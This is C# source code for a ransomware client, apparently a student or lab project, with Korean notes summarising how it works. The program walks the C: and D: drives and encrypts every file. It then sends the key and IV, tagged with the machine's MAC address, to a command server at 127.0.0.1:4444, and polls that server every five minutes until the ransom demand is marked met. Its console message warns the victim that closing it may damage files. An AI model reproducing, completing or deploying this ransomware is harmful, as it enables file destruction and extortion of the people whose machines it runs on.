using System;
using System.IO;
using System.Timers;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using Utils;
namespace gukwon_ransomeware_client
{
class Program
{
static string[] pathes = new string[0];
static void OnTimedEvent(object source, ElapsedEventArgs e)
{
BinaryReader rdr;
BinaryWriter wtr;
TcpClient client;
Decryptor decryptor;
byte[] key, iv;
client = new TcpClient("127.0.0.1", 4444);
wtr = new BinaryWriter(client.GetStream());
wtr.Write(CONSTANTS.DECRYPT_REQ);
wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
wtr.Close();
rdr = new BinaryReader(client.GetStream());
if(rdr.ReadInt32() == CONSTANTS.SUCCESS)
{
key = Convert.FromBase64String(rdr.ReadString());
iv = Convert.FromBase64String(rdr.ReadString());
decryptor = new Decryptor(key, iv);
decryptor.DecryptFiles(pathes);
}
}
static void Main()
{
Timer timer;
Console.WriteLine("실행 중 종료시 파일들이 손상될 수 있습니다. . .");
if (File.Exists("data.dat"))
{
BinaryReader rdr = new BinaryReader(new FileStream("data.dat", FileMode.Open));
pathes = new string[rdr.ReadInt32()];
for(int i = 0; i < pathes.Length; i++)
{
pathes[i] = rdr.ReadString();
}
rdr.Close();
}
else
{
KeySet keySet;
BinaryWriter wtr;
FilePathGetter pathGetter = new FilePathGetter();
Encryptor encryptor = new Encryptor();
TcpClient client;
NetworkStream stream;
if (Directory.Exists("C:\\"))
{
pathes = pathGetter.GetAllFilePathes(new string[1] { "C:\\" });
}
if (Directory.Exists("D:\\"))
{
ArrayAppender.Append(ref pathes, pathGetter.GetAllFilePathes(new string[1] { "D:\\" }));
}
keySet = encryptor.EncryptFiles(pathes);
wtr = new BinaryWriter(new FileStream("data.dat", FileMode.Create));
wtr.Write(pathes.Length);
for (int i = 0; i < pathes.Length; i++)
{
wtr.Write(pathes[i]);
}
wtr.Close();
client = new TcpClient("127.0.0.1", 4444);
wtr = new BinaryWriter(client.GetStream());
wtr.Write(CONSTANTS.SEND_KEY);
wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
wtr.Write(keySet.Key.Length);
wtr.Write(keySet.Key);
wtr.Write(keySet.IV.Length);
wtr.Write(keySet.IV);
wtr.Close();
client.Close();
}
timer = new Timer(1000 * 60 * 5);
timer.Elapsed += OnTimedEvent;
timer.Enabled = true;
}
}
}
- 최초 실행시 모든 파일 경로 구하여 암호화 수행
- 모든 파일 경로는 별도의 파일을 생성하여 저장
- 일정 시간마다 공격자의 요구를 충족했는지 확인하는 패킷을 서버로 전송
- 요구 충족되어 Key와 IV가 들어있는 패킷이 들어왔을 시 복호화 수행 및 프로그램 종료